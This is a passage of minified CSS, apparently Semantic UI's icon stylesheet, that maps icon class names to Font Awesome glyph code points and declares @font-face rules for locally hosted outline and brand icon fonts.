}i.icon.stop.circle:before{content:"\f28d"}i.icon.stopwatch:before{content:"\f2f2"}i.icon.strava:before{content:"\f428"}i.icon.street.view:before{content:"\f21d"}i.icon.strikethrough:before{content:"\f0cc"}i.icon.stripe:before{content:"\f429"}i.icon.stripe.s:before{content:"\f42a"}i.icon.studiovinari:before{content:"\f3f8"}i.icon.stumbleupon:before{content:"\f1a4"}i.icon.stumbleupon.circle:before{content:"\f1a3"}i.icon.subscript:before{content:"\f12c"}i.icon.subway:before{content:"\f239"}i.icon.suitcase:before{content:"\f0f2"}i.icon.sun:before{content:"\f185"}i.icon.superpowers:before{content:"\f2dd"}i.icon.superscript:before{content:"\f12b"}i.icon.supple:before{content:"\f3f9"}i.icon.sync:before{content:"\f021"}i.icon.sync.alternate:before{content:"\f2f1"}i.icon.syringe:before{content:"\f48e"}i.icon.table:before{content:"\f0ce"}i.icon.table.tennis:before{content:"\f45d"}i.icon.tablet:before{content:"\f10a"}i.icon.tablet.alternate:before{content:"\f3fa"}i.icon.tachometer.alternate:before{content:"\f3fd"}i.icon.tag:before{content:"\f02b"}i.icon.tags:before{content:"\f02c"}i.icon.tasks:before{content:"\f0ae"}i.icon.taxi:before{content:"\f1ba"}i.icon.telegram:before{content:"\f2c6"}i.icon.telegram.plane:before{content:"\f3fe"}i.icon.tencent.weibo:before{content:"\f1d5"}i.icon.terminal:before{content:"\f120"}i.icon.text.height:before{content:"\f034"}i.icon.text.width:before{content:"\f035"}i.icon.th:before{content:"\f00a"}i.icon.th.large:before{content:"\f009"}i.icon.th.list:before{content:"\f00b"}i.icon.themeisle:before{content:"\f2b2"}i.icon.thermometer:before{content:"\f491"}i.icon.thermometer.empty:before{content:"\f2cb"}i.icon.thermometer.full:before{content:"\f2c7"}i.icon.thermometer.half:before{content:"\f2c9"}i.icon.thermometer.quarter:before{content:"\f2ca"}i.icon.thermometer.three.quarters:before{content:"\f2c8"}i.icon.thumbs.down:before{content:"\f165"}i.icon.thumbs.up:before{content:"\f164"}i.icon.thumbtack:before{content:"\f08d"}i.icon.ticket.alternate:before{content:"\f3ff"}i.icon.times:before{content:"\f00d"}i.icon.times.circle:before{content:"\f057"}i.icon.tint:before{content:"\f043"}i.icon.toggle.off:before{content:"\f204"}i.icon.toggle.on:before{content:"\f205"}i.icon.trademark:before{content:"\f25c"}i.icon.train:before{content:"\f238"}i.icon.transgender:before{content:"\f224"}i.icon.transgender.alternate:before{content:"\f225"}i.icon.trash:before{content:"\f1f8"}i.icon.trash.alternate:before{content:"\f2ed"}i.icon.tree:before{content:"\f1bb"}i.icon.trello:before{content:"\f181"}i.icon.tripadvisor:before{content:"\f262"}i.icon.trophy:before{content:"\f091"}i.icon.truck:before{content:"\f0d1"}i.icon.tty:before{content:"\f1e4"}i.icon.tumblr:before{content:"\f173"}i.icon.tumblr.square:before{content:"\f174"}i.icon.tv:before{content:"\f26c"}i.icon.twitch:before{content:"\f1e8"}i.icon.twitter:before{content:"\f099"}i.icon.twitter.square:before{content:"\f081"}i.icon.typo3:before{content:"\f42b"}i.icon.uber:before{content:"\f402"}i.icon.uikit:before{content:"\f403"}i.icon.umbrella:before{content:"\f0e9"}i.icon.underline:before{content:"\f0cd"}i.icon.undo:before{content:"\f0e2"}i.icon.undo.alternate:before{content:"\f2ea"}i.icon.uniregistry:before{content:"\f404"}i.icon.universal.access:before{content:"\f29a"}i.icon.university:before{content:"\f19c"}i.icon.unlink:before{content:"\f127"}i.icon.unlock:before{content:"\f09c"}i.icon.unlock.alternate:before{content:"\f13e"}i.icon.untappd:before{content:"\f405"}i.icon.upload:before{content:"\f093"}i.icon.usb:before{content:"\f287"}i.icon.user:before{content:"\f007"}i.icon.user.circle:before{content:"\f2bd"}i.icon.user.md:before{content:"\f0f0"}i.icon.user.plus:before{content:"\f234"}i.icon.user.secret:before{content:"\f21b"}i.icon.user.times:before{content:"\f235"}i.icon.users:before{content:"\f0c0"}i.icon.ussunnah:before{content:"\f407"}i.icon.utensil.spoon:before{content:"\f2e5"}i.icon.utensils:before{content:"\f2e7"}i.icon.vaadin:before{content:"\f408"}i.icon.venus:before{content:"\f221"}i.icon.venus.double:before{content:"\f226"}i.icon.venus.mars:before{content:"\f228"}i.icon.viacoin:before{content:"\f237"}i.icon.viadeo:before{content:"\f2a9"}i.icon.viadeo.square:before{content:"\f2aa"}i.icon.viber:before{content:"\f409"}i.icon.video:before{content:"\f03d"}i.icon.vimeo:before{content:"\f40a"}i.icon.vimeo.square:before{content:"\f194"}i.icon.vimeo.v:before{content:"\f27d"}i.icon.vine:before{content:"\f1ca"}i.icon.vk:before{content:"\f189"}i.icon.vnv:before{content:"\f40b"}i.icon.volleyball.ball:before{content:"\f45f"}i.icon.volume.down:before{content:"\f027"}i.icon.volume.off:before{content:"\f026"}i.icon.volume.up:before{content:"\f028"}i.icon.vuejs:before{content:"\f41f"}i.icon.warehouse:before{content:"\f494"}i.icon.weibo:before{content:"\f18a"}i.icon.weight:before{content:"\f496"}i.icon.weixin:before{content:"\f1d7"}i.icon.whatsapp:before{content:"\f232"}i.icon.whatsapp.square:before{content:"\f40c"}i.icon.wheelchair:before{content:"\f193"}i.icon.whmcs:before{content:"\f40d"}i.icon.wifi:before{content:"\f1eb"}i.icon.wikipedia.w:before{content:"\f266"}i.icon.window.close:before{content:"\f410"}i.icon.window.maximize:before{content:"\f2d0"}i.icon.window.minimize:before{content:"\f2d1"}i.icon.window.restore:before{content:"\f2d2"}i.icon.windows:before{content:"\f17a"}i.icon.won.sign:before{content:"\f159"}i.icon.wordpress:before{content:"\f19a"}i.icon.wordpress.simple:before{content:"\f411"}i.icon.wpbeginner:before{content:"\f297"}i.icon.wpexplorer:before{content:"\f2de"}i.icon.wpforms:before{content:"\f298"}i.icon.wrench:before{content:"\f0ad"}i.icon.xbox:before{content:"\f412"}i.icon.xing:before{content:"\f168"}i.icon.xing.square:before{content:"\f169"}i.icon.y.combinator:before{content:"\f23b"}i.icon.yahoo:before{content:"\f19e"}i.icon.yandex:before{content:"\f413"}i.icon.yandex.international:before{content:"\f414"}i.icon.yelp:before{content:"\f1e9"}i.icon.yen.sign:before{content:"\f157"}i.icon.yoast:before{content:"\f2b1"}i.icon.youtube:before{content:"\f167"}i.icon.youtube.square:before{content:"\f431"}i.icon.chess.rock:before{content:"\f447"}i.icon.ordered.list:before{content:"\f0cb"}i.icon.unordered.list:before{content:"\f0ca"}i.icon.user.doctor:before{content:"\f0f0"}i.icon.shield:before{content:"\f3ed"}i.icon.puzzle:before{content:"\f12e"}i.icon.credit.card.amazon.pay:before{content:"\f42d"}i.icon.credit.card.american.express:before{content:"\f1f3"}i.icon.credit.card.diners.club:before{content:"\f24c"}i.icon.credit.card.discover:before{content:"\f1f2"}i.icon.credit.card.jcb:before{content:"\f24b"}i.icon.credit.card.mastercard:before{content:"\f1f1"}i.icon.credit.card.paypal:before{content:"\f1f4"}i.icon.credit.card.stripe:before{content:"\f1f5"}i.icon.credit.card.visa:before{content:"\f1f0"}i.icon.add.circle:before{content:"\f055"}i.icon.add.square:before{content:"\f0fe"}i.icon.add.to.calendar:before{content:"\f271"}i.icon.add.to.cart:before{content:"\f217"}i.icon.add.user:before{content:"\f234"}i.icon.add:before{content:"\f067"}i.icon.alarm.mute:before{content:"\f1f6"}i.icon.alarm:before{content:"\f0f3"}i.icon.ald:before{content:"\f2a2"}i.icon.als:before{content:"\f2a2"}i.icon.american.express.card:before{content:"\f1f3"}i.icon.american.express:before{content:"\f1f3"}i.icon.amex:before{content:"\f1f3"}i.icon.announcement:before{content:"\f0a1"}i.icon.area.chart:before{content:"\f1fe"}i.icon.area.graph:before{content:"\f1fe"}i.icon.arrow.down.cart:before{content:"\f218"}i.icon.asexual:before{content:"\f22d"}i.icon.asl.interpreting:before{content:"\f2a3"}i.icon.asl:before{content:"\f2a3"}i.icon.assistive.listening.devices:before{content:"\f2a2"}i.icon.attach:before{content:"\f0c6"}i.icon.attention:before{content:"\f06a"}i.icon.balance:before{content:"\f24e"}i.icon.bar:before{content:"\f0fc"}i.icon.bathtub:before{content:"\f2cd"}i.icon.battery.four:before{content:"\f240"}i.icon.battery.high:before{content:"\f241"}i.icon.battery.low:before{content:"\f243"}i.icon.battery.medium:before{content:"\f242"}i.icon.battery.one:before{content:"\f243"}i.icon.battery.three:before{content:"\f241"}i.icon.battery.two:before{content:"\f242"}i.icon.battery.zero:before{content:"\f244"}i.icon.birthday:before{content:"\f1fd"}i.icon.block.layout:before{content:"\f009"}i.icon.bluetooth.alternative:before{content:"\f294"}i.icon.broken.chain:before{content:"\f127"}i.icon.browser:before{content:"\f022"}i.icon.call.square:before{content:"\f098"}i.icon.call:before{content:"\f095"}i.icon.cancel:before{content:"\f00d"}i.icon.cart:before{content:"\f07a"}i.icon.cc:before{content:"\f20a"}i.icon.chain:before{content:"\f0c1"}i.icon.chat:before{content:"\f075"}i.icon.checked.calendar:before{content:"\f274"}i.icon.checkmark:before{content:"\f00c"}i.icon.circle.notched:before{content:"\f1ce"}i.icon.close:before{content:"\f00d"}i.icon.cny:before{content:"\f157"}i.icon.cocktail:before{content:"\f000"}i.icon.commenting:before{content:"\f27a"}i.icon.computer:before{content:"\f108"}i.icon.configure:before{content:"\f0ad"}i.icon.content:before{content:"\f0c9"}i.icon.deafness:before{content:"\f2a4"}i.icon.delete.calendar:before{content:"\f273"}i.icon.delete:before{content:"\f00d"}i.icon.detective:before{content:"\f21b"}i.icon.diners.club.card:before{content:"\f24c"}i.icon.diners.club:before{content:"\f24c"}i.icon.discover.card:before{content:"\f1f2"}i.icon.discover:before{content:"\f1f2"}i.icon.discussions:before{content:"\f086"}i.icon.doctor:before{content:"\f0f0"}i.icon.dollar:before{content:"\f155"}i.icon.dont:before{content:"\f05e"}i.icon.dribble:before{content:"\f17d"}i.icon.drivers.license:before{content:"\f2c2"}i.icon.dropdown:before{content:"\f0d7"}i.icon.eercast:before{content:"\f2da"}i.icon.emergency:before{content:"\f0f9"}i.icon.envira.gallery:before{content:"\f299"}i.icon.erase:before{content:"\f12d"}i.icon.eur:before{content:"\f153"}i.icon.euro:before{content:"\f153"}i.icon.eyedropper:before{content:"\f1fb"}i.icon.fa:before{content:"\f2b4"}i.icon.factory:before{content:"\f275"}i.icon.favorite:before{content:"\f005"}i.icon.feed:before{content:"\f09e"}i.icon.female.homosexual:before{content:"\f226"}i.icon.file.text:before{content:"\f15c"}i.icon.find:before{content:"\f1e5"}i.icon.first.aid:before{content:"\f0fa"}i.icon.five.hundred.pixels:before{content:"\f26e"}i.icon.fork:before{content:"\f126"}i.icon.game:before{content:"\f11b"}i.icon.gay:before{content:"\f227"}i.icon.gbp:before{content:"\f154"}i.icon.gittip:before{content:"\f184"}i.icon.google.plus.circle:before{content:"\f2b3"}i.icon.google.plus.official:before{content:"\f2b3"}i.icon.grab:before{content:"\f255"}i.icon.graduation:before{content:"\f19d"}i.icon.grid.layout:before{content:"\f00a"}i.icon.group:before{content:"\f0c0"}i.icon.h:before{content:"\f0fd"}i.icon.hand.victory:before{content:"\f25b"}i.icon.handicap:before{content:"\f193"}i.icon.hard.of.hearing:before{content:"\f2a4"}i.icon.header:before{content:"\f1dc"}i.icon.help.circle:before{content:"\f059"}i.icon.help:before{content:"\f128"}i.icon.heterosexual:before{content:"\f228"}i.icon.hide:before{content:"\f070"}i.icon.hotel:before{content:"\f236"}i.icon.hourglass.four:before{content:"\f254"}i.icon.hourglass.full:before{content:"\f254"}i.icon.hourglass.one:before{content:"\f251"}i.icon.hourglass.three:before{content:"\f253"}i.icon.hourglass.two:before{content:"\f252"}i.icon.idea:before{content:"\f0eb"}i.icon.ils:before{content:"\f20b"}i.icon.in-cart:before{content:"\f218"}i.icon.inr:before{content:"\f156"}i.icon.intergender:before{content:"\f224"}i.icon.intersex:before{content:"\f224"}i.icon.japan.credit.bureau.card:before{content:"\f24b"}i.icon.japan.credit.bureau:before{content:"\f24b"}i.icon.jcb:before{content:"\f24b"}i.icon.jpy:before{content:"\f157"}i.icon.krw:before{content:"\f159"}i.icon.lab:before{content:"\f0c3"}i.icon.law:before{content:"\f24e"}i.icon.legal:before{content:"\f0e3"}i.icon.lesbian:before{content:"\f226"}i.icon.lightning:before{content:"\f0e7"}i.icon.like:before{content:"\f004"}i.icon.line.graph:before{content:"\f201"}i.icon.linkedin.square:before{content:"\f08c"}i.icon.linkify:before{content:"\f0c1"}i.icon.lira:before{content:"\f195"}i.icon.list.layout:before{content:"\f00b"}i.icon.magnify:before{content:"\f00e"}i.icon.mail.forward:before{content:"\f064"}i.icon.mail.square:before{content:"\f199"}i.icon.mail:before{content:"\f0e0"}i.icon.male.homosexual:before{content:"\f227"}i.icon.man:before{content:"\f222"}i.icon.marker:before{content:"\f041"}i.icon.mars.alternate:before{content:"\f229"}i.icon.mars.horizontal:before{content:"\f22b"}i.icon.mars.vertical:before{content:"\f22a"}i.icon.mastercard.card:before{content:"\f1f1"}i.icon.mastercard:before{content:"\f1f1"}i.icon.microsoft.edge:before{content:"\f282"}i.icon.military:before{content:"\f0fb"}i.icon.ms.edge:before{content:"\f282"}i.icon.mute:before{content:"\f131"}i.icon.new.pied.piper:before{content:"\f2ae"}i.icon.non.binary.transgender:before{content:"\f223"}i.icon.numbered.list:before{content:"\f0cb"}i.icon.optinmonster:before{content:"\f23c"}i.icon.options:before{content:"\f1de"}i.icon.other.gender.horizontal:before{content:"\f22b"}i.icon.other.gender.vertical:before{content:"\f22a"}i.icon.other.gender:before{content:"\f229"}i.icon.payment:before{content:"\f09d"}i.icon.paypal.card:before{content:"\f1f4"}i.icon.pencil.square:before{content:"\f14b"}i.icon.photo:before{content:"\f030"}i.icon.picture:before{content:"\f03e"}i.icon.pie.chart:before{content:"\f200"}i.icon.pie.graph:before{content:"\f200"}i.icon.pied.piper.hat:before{content:"\f2ae"}i.icon.pin:before{content:"\f08d"}i.icon.plus.cart:before{content:"\f217"}i.icon.pocket:before{content:"\f265"}i.icon.point:before{content:"\f041"}i.icon.pointing.down:before{content:"\f0a7"}i.icon.pointing.left:before{content:"\f0a5"}i.icon.pointing.right:before{content:"\f0a4"}i.icon.pointing.up:before{content:"\f0a6"}i.icon.pound:before{content:"\f154"}i.icon.power.cord:before{content:"\f1e6"}i.icon.power:before{content:"\f011"}i.icon.privacy:before{content:"\f084"}i.icon.r.circle:before{content:"\f25d"}i.icon.rain:before{content:"\f0e9"}i.icon.record:before{content:"\f03d"}i.icon.refresh:before{content:"\f021"}i.icon.remove.circle:before{content:"\f057"}i.icon.remove.from.calendar:before{content:"\f272"}i.icon.remove.user:before{content:"\f235"}i.icon.remove:before{content:"\f00d"}i.icon.repeat:before{content:"\f01e"}i.icon.rmb:before{content:"\f157"}i.icon.rouble:before{content:"\f158"}i.icon.rub:before{content:"\f158"}i.icon.ruble:before{content:"\f158"}i.icon.rupee:before{content:"\f156"}i.icon.s15:before{content:"\f2cd"}i.icon.selected.radio:before{content:"\f192"}i.icon.send:before{content:"\f1d8"}i.icon.setting:before{content:"\f013"}i.icon.settings:before{content:"\f085"}i.icon.shekel:before{content:"\f20b"}i.icon.sheqel:before{content:"\f20b"}i.icon.shipping:before{content:"\f0d1"}i.icon.shop:before{content:"\f07a"}i.icon.shuffle:before{content:"\f074"}i.icon.shutdown:before{content:"\f011"}i.icon.sidebar:before{content:"\f0c9"}i.icon.signing:before{content:"\f2a7"}i.icon.signup:before{content:"\f044"}i.icon.sliders:before{content:"\f1de"}i.icon.soccer:before{content:"\f1e3"}i.icon.sort.alphabet.ascending:before{content:"\f15d"}i.icon.sort.alphabet.descending:before{content:"\f15e"}i.icon.sort.ascending:before{content:"\f0de"}i.icon.sort.content.ascending:before{content:"\f160"}i.icon.sort.content.descending:before{content:"\f161"}i.icon.sort.descending:before{content:"\f0dd"}i.icon.sort.numeric.ascending:before{content:"\f162"}i.icon.sort.numeric.descending:before{content:"\f163"}i.icon.sound:before{content:"\f025"}i.icon.spy:before{content:"\f21b"}i.icon.stripe.card:before{content:"\f1f5"}i.icon.student:before{content:"\f19d"}i.icon.talk:before{content:"\f27a"}i.icon.target:before{content:"\f140"}i.icon.teletype:before{content:"\f1e4"}i.icon.television:before{content:"\f26c"}i.icon.text.cursor:before{content:"\f246"}i.icon.text.telephone:before{content:"\f1e4"}i.icon.theme.isle:before{content:"\f2b2"}i.icon.theme:before{content:"\f043"}i.icon.thermometer:before{content:"\f2c7"}i.icon.thumb.tack:before{content:"\f08d"}i.icon.time:before{content:"\f017"}i.icon.tm:before{content:"\f25c"}i.icon.toggle.down:before{content:"\f150"}i.icon.toggle.left:before{content:"\f191"}i.icon.toggle.right:before{content:"\f152"}i.icon.toggle.up:before{content:"\f151"}i.icon.translate:before{content:"\f1ab"}i.icon.travel:before{content:"\f0b1"}i.icon.treatment:before{content:"\f0f1"}i.icon.triangle.down:before{content:"\f0d7"}i.icon.triangle.left:before{content:"\f0d9"}i.icon.triangle.right:before{content:"\f0da"}i.icon.triangle.up:before{content:"\f0d8"}i.icon.try:before{content:"\f195"}i.icon.unhide:before{content:"\f06e"}i.icon.unlinkify:before{content:"\f127"}i.icon.unmute:before{content:"\f130"}i.icon.usd:before{content:"\f155"}i.icon.user.cancel:before{content:"\f235"}i.icon.user.close:before{content:"\f235"}i.icon.user.delete:before{content:"\f235"}i.icon.user.x:before{content:"\f235"}i.icon.vcard:before{content:"\f2bb"}i.icon.video.camera:before{content:"\f03d"}i.icon.video.play:before{content:"\f144"}i.icon.visa.card:before{content:"\f1f0"}i.icon.visa:before{content:"\f1f0"}i.icon.volume.control.phone:before{content:"\f2a0"}i.icon.wait:before{content:"\f017"}i.icon.warning.circle:before{content:"\f06a"}i.icon.warning.sign:before{content:"\f071"}i.icon.warning:before{content:"\f12a"}i.icon.wechat:before{content:"\f1d7"}i.icon.wi-fi:before{content:"\f1eb"}i.icon.wikipedia:before{content:"\f266"}i.icon.winner:before{content:"\f091"}i.icon.wizard:before{content:"\f0d0"}i.icon.woman:before{content:"\f221"}i.icon.won:before{content:"\f159"}i.icon.wordpress.beginner:before{content:"\f297"}i.icon.wordpress.forms:before{content:"\f298"}i.icon.world:before{content:"\f0ac"}i.icon.write.square:before{content:"\f14b"}i.icon.x:before{content:"\f00d"}i.icon.yc:before{content:"\f23b"}i.icon.ycombinator:before{content:"\f23b"}i.icon.yen:before{content:"\f157"}i.icon.zip:before{content:"\f187"}i.icon.zoom-in:before{content:"\f00e"}i.icon.zoom-out:before{content:"\f010"}i.icon.zoom:before{content:"\f00e"}i.icon.bitbucket.square:before{content:"\f171"}i.icon.checkmark.box:before{content:"\f14a"}i.icon.circle.thin:before{content:"\f111"}i.icon.cloud.download:before{content:"\f381"}i.icon.cloud.upload:before{content:"\f382"}i.icon.compose:before{content:"\f303"}i.icon.conversation:before{content:"\f086"}i.icon.credit.card.alternative:before{content:"\f09d"}i.icon.currency:before{content:"\f3d1"}i.icon.dashboard:before{content:"\f3fd"}i.icon.diamond:before{content:"\f3a5"}i.icon.disk:before{content:"\f0a0"}i.icon.exchange:before{content:"\f362"}i.icon.external.share:before{content:"\f14d"}i.icon.external.square:before{content:"\f360"}i.icon.external:before{content:"\f35d"}i.icon.facebook.official:before{content:"\f082"}i.icon.food:before{content:"\f2e7"}i.icon.hourglass.zero:before{content:"\f253"}i.icon.level.down:before{content:"\f3be"}i.icon.level.up:before{content:"\f3bf"}i.icon.logout:before{content:"\f2f5"}i.icon.meanpath:before{content:"\f0c8"}i.icon.money:before{content:"\f3d1"}i.icon.move:before{content:"\f0b2"}i.icon.pencil:before{content:"\f303"}i.icon.protect:before{content:"\f023"}i.icon.radio:before{content:"\f192"}i.icon.remove.bookmark:before{content:"\f02e"}i.icon.resize.horizontal:before{content:"\f337"}i.icon.resize.vertical:before{content:"\f338"}i.icon.sign-in:before{content:"\f2f6"}i.icon.sign-out:before{content:"\f2f5"}i.icon.spoon:before{content:"\f2e5"}i.icon.star.half.empty:before{content:"\f089"}i.icon.star.half.full:before{content:"\f089"}i.icon.ticket:before{content:"\f3ff"}i.icon.times.rectangle:before{content:"\f410"}i.icon.write:before{content:"\f303"}i.icon.youtube.play:before{content:"\f167"}@font-face{font-family:outline-icons;src:url(themes/default/assets/fonts/outline-icons.eot);src:url(themes/default/assets/fonts/outline-icons.eot?#iefix) format('embedded-opentype'),url(themes/default/assets/fonts/outline-icons.woff2) format('woff2'),url(themes/default/assets/fonts/outline-icons.woff) format('woff'),url(themes/default/assets/fonts/outline-icons.ttf) format('truetype'),url(themes/default/assets/fonts/outline-icons.svg#icons) format('svg');font-style:normal;font-weight:400;font-variant:normal;text-decoration:inherit;text-transform:none}i.icon.outline{font-family:outline-icons}i.icon.address.book.outline:before{content:"\f2b9"}i.icon.address.card.outline:before{content:"\f2bb"}i.icon.arrow.alternate.circle.down.outline:before{content:"\f358"}i.icon.arrow.alternate.circle.left.outline:before{content:"\f359"}i.icon.arrow.alternate.circle.right.outline:before{content:"\f35a"}i.icon.arrow.alternate.circle.up.outline:before{content:"\f35b"}i.icon.bell.outline:before{content:"\f0f3"}i.icon.bell.slash.outline:before{content:"\f1f6"}i.icon.bookmark.outline:before{content:"\f02e"}i.icon.building.outline:before{content:"\f1ad"}i.icon.calendar.outline:before{content:"\f133"}i.icon.calendar.alternate.outline:before{content:"\f073"}i.icon.calendar.check.outline:before{content:"\f274"}i.icon.calendar.minus.outline:before{content:"\f272"}i.icon.calendar.plus.outline:before{content:"\f271"}i.icon.calendar.times.outline:before{content:"\f273"}i.icon.caret.square.down.outline:before{content:"\f150"}i.icon.caret.square.left.outline:before{content:"\f191"}i.icon.caret.square.right.outline:before{content:"\f152"}i.icon.caret.square.up.outline:before{content:"\f151"}i.icon.chart.bar.outline:before{content:"\f080"}i.icon.check.circle.outline:before{content:"\f058"}i.icon.check.square.outline:before{content:"\f14a"}i.icon.circle.outline:before{content:"\f111"}i.icon.clipboard.outline:before{content:"\f328"}i.icon.clock.outline:before{content:"\f017"}i.icon.clone.outline:before{content:"\f24d"}i.icon.closed.captioning.outline:before{content:"\f20a"}i.icon.comment.outline:before{content:"\f075"}i.icon.comment.alternate.outline:before{content:"\f27a"}i.icon.comments.outline:before{content:"\f086"}i.icon.compass.outline:before{content:"\f14e"}i.icon.copy.outline:before{content:"\f0c5"}i.icon.copyright.outline:before{content:"\f1f9"}i.icon.credit.card.outline:before{content:"\f09d"}i.icon.dot.circle.outline:before{content:"\f192"}i.icon.edit.outline:before{content:"\f044"}i.icon.envelope.outline:before{content:"\f0e0"}i.icon.envelope.open.outline:before{content:"\f2b6"}i.icon.eye.slash.outline:before{content:"\f070"}i.icon.file.outline:before{content:"\f15b"}i.icon.file.alternate.outline:before{content:"\f15c"}i.icon.file.archive.outline:before{content:"\f1c6"}i.icon.file.audio.outline:before{content:"\f1c7"}i.icon.file.code.outline:before{content:"\f1c9"}i.icon.file.excel.outline:before{content:"\f1c3"}i.icon.file.image.outline:before{content:"\f1c5"}i.icon.file.pdf.outline:before{content:"\f1c1"}i.icon.file.powerpoint.outline:before{content:"\f1c4"}i.icon.file.video.outline:before{content:"\f1c8"}i.icon.file.word.outline:before{content:"\f1c2"}i.icon.flag.outline:before{content:"\f024"}i.icon.folder.outline:before{content:"\f07b"}i.icon.folder.open.outline:before{content:"\f07c"}i.icon.frown.outline:before{content:"\f119"}i.icon.futbol.outline:before{content:"\f1e3"}i.icon.gem.outline:before{content:"\f3a5"}i.icon.hand.lizard.outline:before{content:"\f258"}i.icon.hand.paper.outline:before{content:"\f256"}i.icon.hand.peace.outline:before{content:"\f25b"}i.icon.hand.point.down.outline:before{content:"\f0a7"}i.icon.hand.point.left.outline:before{content:"\f0a5"}i.icon.hand.point.right.outline:before{content:"\f0a4"}i.icon.hand.point.up.outline:before{content:"\f0a6"}i.icon.hand.pointer.outline:before{content:"\f25a"}i.icon.hand.rock.outline:before{content:"\f255"}i.icon.hand.scissors.outline:before{content:"\f257"}i.icon.hand.spock.outline:before{content:"\f259"}i.icon.handshake.outline:before{content:"\f2b5"}i.icon.hdd.outline:before{content:"\f0a0"}i.icon.heart.outline:before{content:"\f004"}i.icon.hospital.outline:before{content:"\f0f8"}i.icon.hourglass.outline:before{content:"\f254"}i.icon.id.badge.outline:before{content:"\f2c1"}i.icon.id.card.outline:before{content:"\f2c2"}i.icon.image.outline:before{content:"\f03e"}i.icon.images.outline:before{content:"\f302"}i.icon.keyboard.outline:before{content:"\f11c"}i.icon.lemon.outline:before{content:"\f094"}i.icon.life.ring.outline:before{content:"\f1cd"}i.icon.lightbulb.outline:before{content:"\f0eb"}i.icon.list.alternate.outline:before{content:"\f022"}i.icon.map.outline:before{content:"\f279"}i.icon.meh.outline:before{content:"\f11a"}i.icon.minus.square.outline:before{content:"\f146"}i.icon.money.bill.alternate.outline:before{content:"\f3d1"}i.icon.moon.outline:before{content:"\f186"}i.icon.newspaper.outline:before{content:"\f1ea"}i.icon.object.group.outline:before{content:"\f247"}i.icon.object.ungroup.outline:before{content:"\f248"}i.icon.paper.plane.outline:before{content:"\f1d8"}i.icon.pause.circle.outline:before{content:"\f28b"}i.icon.play.circle.outline:before{content:"\f144"}i.icon.plus.square.outline:before{content:"\f0fe"}i.icon.question.circle.outline:before{content:"\f059"}i.icon.registered.outline:before{content:"\f25d"}i.icon.save.outline:before{content:"\f0c7"}i.icon.share.square.outline:before{content:"\f14d"}i.icon.smile.outline:before{content:"\f118"}i.icon.snowflake.outline:before{content:"\f2dc"}i.icon.square.outline:before{content:"\f0c8"}i.icon.star.outline:before{content:"\f005"}i.icon.star.half.outline:before{content:"\f089"}i.icon.sticky.note.outline:before{content:"\f249"}i.icon.stop.circle.outline:before{content:"\f28d"}i.icon.sun.outline:before{content:"\f185"}i.icon.thumbs.down.outline:before{content:"\f165"}i.icon.thumbs.up.outline:before{content:"\f164"}i.icon.times.circle.outline:before{content:"\f057"}i.icon.trash.alternate.outline:before{content:"\f2ed"}i.icon.user.outline:before{content:"\f007"}i.icon.user.circle.outline:before{content:"\f2bd"}i.icon.window.close.outline:before{content:"\f410"}i.icon.window.maximize.outline:before{content:"\f2d0"}i.icon.window.minimize.outline:before{content:"\f2d1"}i.icon.window.restore.outline:before{content:"\f2d2"}i.icon.disk.outline:before{content:"\f0a0"}i.icon.heart.empty,i.icon.star.empty{font-family:outline-icons}i.icon.heart.empty:before{content:"\f004"}i.icon.star.empty:before{content:"\f089"}@font-face{font-family:brand-icons;src:url(themes/default/assets/fonts/brand-icons.eot);src:url(themes/default/assets/fonts/brand-icons.eot?#iefix) format('embedded-opentype'),url(themes/default/assets/fonts/brand-icons.woff2) format('woff2'),url(themes/default/assets/fonts/brand-icons.woff) format('woff'),url(themes/default/assets/fonts/brand-icons.ttf) format('truetype'),url(themes/default/assets/fonts/brand-icons.svg#icons) format('svg');font-style:normal;font-weight:400;font-variant:normal;text-decoration:inherit;text-transform:none}i.icon.\35 00px,i.icon.accessible.icon,i.icon.accusoft,i.icon.adn,i.icon.adversal,i.icon.affiliatetheme,i.icon.algolia,i.icon.amazon,i.icon.amazon.pay,i.icon.amilia,i.icon.android,i.icon.angellist,i.icon.angrycreative,i.icon.angular,i.icon.app.store,i.icon.app.store.ios,i.icon.apper,i.icon.apple,i.icon.apple.pay,i.icon.asymmetrik,i.icon.audible,i.icon.autoprefixer,i.icon.avianex,i.icon.aviato,i.icon.aws,i.icon.bandcamp,i.icon.behance,i.icon.behance.square,i.icon.bimobject,i.icon.bitbucket,i.icon.bitcoin,i.icon.bity,i.icon.black.tie,i.icon.blackberry,i.icon.blogger,i.icon.blogger.b,i.icon.bluetooth,i.icon.bluetooth.b,i.icon.btc,i.icon.buromobelexperte,i.icon.buysellads,i.icon.cc.amazon.pay,i.icon.cc.amex,i.icon.cc.apple.pay,i.icon.cc.diners.club,i.icon.cc.discover,i.icon.cc.jcb,i.icon.cc.mastercard,i.icon.cc.paypal,i.icon.cc.stripe,i.icon.cc.visa,i.icon.centercode,i.icon.chrome,i.icon.cloudscale,i.icon.cloudsmith,i.icon.cloudversify,i.icon.codepen,i.icon.codiepie,i.icon.connectdevelop,i.icon.contao,i.icon.cpanel,i.icon.creative.commons,i.icon.css3,i.icon.css3.alternate,i.icon.cuttlefish,i.icon.d.and.d,i.icon.dashcube,i.icon.delicious,i.icon.deploydog,i.icon.deskpro,i.icon.deviantart,i.icon.digg,i.icon.digital.ocean,i.icon.discord,i.icon.discourse,i.icon.dochub,i.icon.docker,i.icon.draft2digital,i.icon.dribbble,i.icon.dribbble.square,i.icon.dropbox,i.icon.drupal,i.icon.dyalog,i.icon.earlybirds,i.icon.edge,i.icon.elementor,i.icon.ember,i.icon.empire,i.icon.envira,i.icon.erlang,i.icon.ethereum,i.icon.etsy,i.icon.expeditedssl,i.icon.facebook,i.icon.facebook.f,i.icon.facebook.messenger,i.icon.facebook.square,i.icon.firefox,i.icon.first.order,i.icon.firstdraft,i.icon.flickr,i.icon.flipboard,i.icon.fly,i.icon.font.awesome,i.icon.font.awesome.alternate,i.icon.font.awesome.flag,i.icon.fonticons,i.icon.fonticons.fi,i.icon.fort.awesome,i.icon.fort.awesome.alternate,i.icon.forumbee,i.icon.foursquare,i.icon.free.code.camp,i.icon.freebsd,i.icon.get.pocket,i.icon.gg,i.icon.gg.circle,i.icon.git,i.icon.git.square,i.icon.github,i.icon.github.alternate,i.icon.github.square,i.icon.gitkraken,i.icon.gitlab,i.icon.gitter,i.icon.glide,i.icon.glide.g,i.icon.gofore,i.icon.goodreads,i.icon.goodreads.g,i.icon.google,i.icon.google.drive,i.icon.google.play,i.icon.google.plus,i.icon.google.plus.g,i.icon.google.plus.square,i.icon.google.wallet,i.icon.gratipay,i.icon.grav,i.icon.gripfire,i.icon.grunt,i.icon.gulp,i.